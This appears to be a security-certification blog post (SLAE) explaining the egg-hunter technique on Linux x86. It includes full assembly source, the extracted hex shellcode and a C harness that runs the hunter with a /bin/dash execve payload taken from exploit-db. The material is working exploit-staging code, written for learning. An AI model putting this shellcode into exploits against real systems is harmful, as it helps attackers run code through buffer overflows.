Egg Hunter for the Win - Linux x86

3 minute read

Introduction

What is egg hunter? and why on earth would you need it? This post will answer those questions and discuss access() syscall briefly, which is a vital part of the shellcode itself. The post will then conclude by demoing a working egg hunter shellcode. Please note all of the work here is based off of Skape’s paper.

Egg Hunting

Egg hunting is a technique used to search the Virtual Address Space (VAS) for pattern referred to by the term egg which usually marks the start of our desired payload if you will. Now you would probably be asking yourself what if we hit an unallocated memory while searching for that pattern? Well, the answer is the process will SIGSEGV leading to a crash. To prevent this kind of behavior we will abuse access() syscall to hunt for our egg without crashing (more on that later). A good example of egg hunter use case is buffer overflows with limited buffer size that won’t allow for large payloads such as bind or reverse shell, in other words we use egg hunter as stager to capture and execute larger payloads.

access()

access() syscall is used to check what permissions the calling process has to a file referred to by pathname, and it consist of two arguments as shown below

int access(const char *pathname, int mode);

Two reasons you’d want to use access() syscall, the first being it doesn’t have lots of arguments thus less registers to initialize, which translate to smaller size. The second reason is we’re looking for function that doesn’t write to the pointer, cause that will defeat the purpose. We’ll use pathname pointer to preform address validation by observing the ZF flag, when the pointer hits an unallocated memory it will return EFAULT, meaning hey this memory page is bad try the next one. Let’s identify access() id EAX.

root@falafel:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access      33
#define __NR_faccessat  307
root@falafel:~#

Also its worth noting that we’ll need to repeat our egg twice (8 bytes) to avoid the collision of the egg hunter with itself, so the egg hunter would have to have two matches before it jumps to the payload.

Final Shellcode

Now that we know what egg hunter and access() are all about, let’s write the shellcode and then test it!

global _start
 
section .text
 
_start:

    ; 
    ; access(2) code block
    ;
    cld                   ; make sure direction flag is NOT set
    xor edx,edx           ; initialize EDX register

nxt_page:                 ; increment page
    or dx,0xfff           ; first page alignment

nxt_addr:
    inc edx               ; increment address
    lea ebx,[edx+0x4]     ; load pointer with 8-bytes egg hunter
    push byte 0x21        ; #define __NR_access 33
    pop eax               ; load EAX
    int 0x80              ; ping kernel!
    cmp al,0xf2           ; check for EFAULT
    jz nxt_page           ; if yes go back to nxt_page
    mov eax,0x776f6f74    ; egg = woot
    mov edi,edx           ; save pointer address to EDI
    scasd                 ; compare EAX[woot] with EDI[????] first 4 bytes  
    jnz nxt_addr          ; if no go back to nxt_addr
    scasd                 ; compare EAX[woot] with EDI+4[????] second 4 bytes
    jnz nxt_addr          ; if no go back to nxt_addr
    jmp edi               ; go to the start of our shellcode

Let’s compile and dump shellcode!

falafel@ubuntu:~$ nasm -f elf32 -o EggHunter.o EggHunter.nasm 
falafel@ubuntu:~$ ld -z execstack -o EggHunter EggHunter.o
falafel@ubuntu:~$ objdump -d ./EggHunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xfc\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x74\x6f\x6f\x77\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
falafel@ubuntu:~$ 

Here’s the final egg hunter shellcode coupled with /bin/dash from exploit-db.

#include<stdio.h>
#include<string.h>

unsigned char egghunter[]= \
"\xfc\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x74\x6f\x6f\x77\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

unsigned char shellcode[] = \
/** wootwoot **/
"\x74\x6f\x6f\x77\x74\x6f\x6f\x77"
/** shellcode from https://www.exploit-db.com/exploits/43476/ **/
"\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";


int main(){

     printf("Egghunter Length:  %d\n", strlen(egghunter));
     printf("Shellcode Length:  %d\n", strlen(shellcode));


     (*(void  (*)()) egghunter)();
     return 0;
}

Demo time!

Egg Hunter Demo

Closing Thoughts

I don’t know about you but egg hunter in its entirety fascinates me and I’m glad I learned how to write one! Thank you Skape for your awesome work! Feel free to contact me for questions via twitter @ihack4falafel . All of the code is available on on my github as shown in the link below.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1115

Github Repo: https://github.com/ihack4falafel/SLAE32/tree/master/Assignment%203

Updated: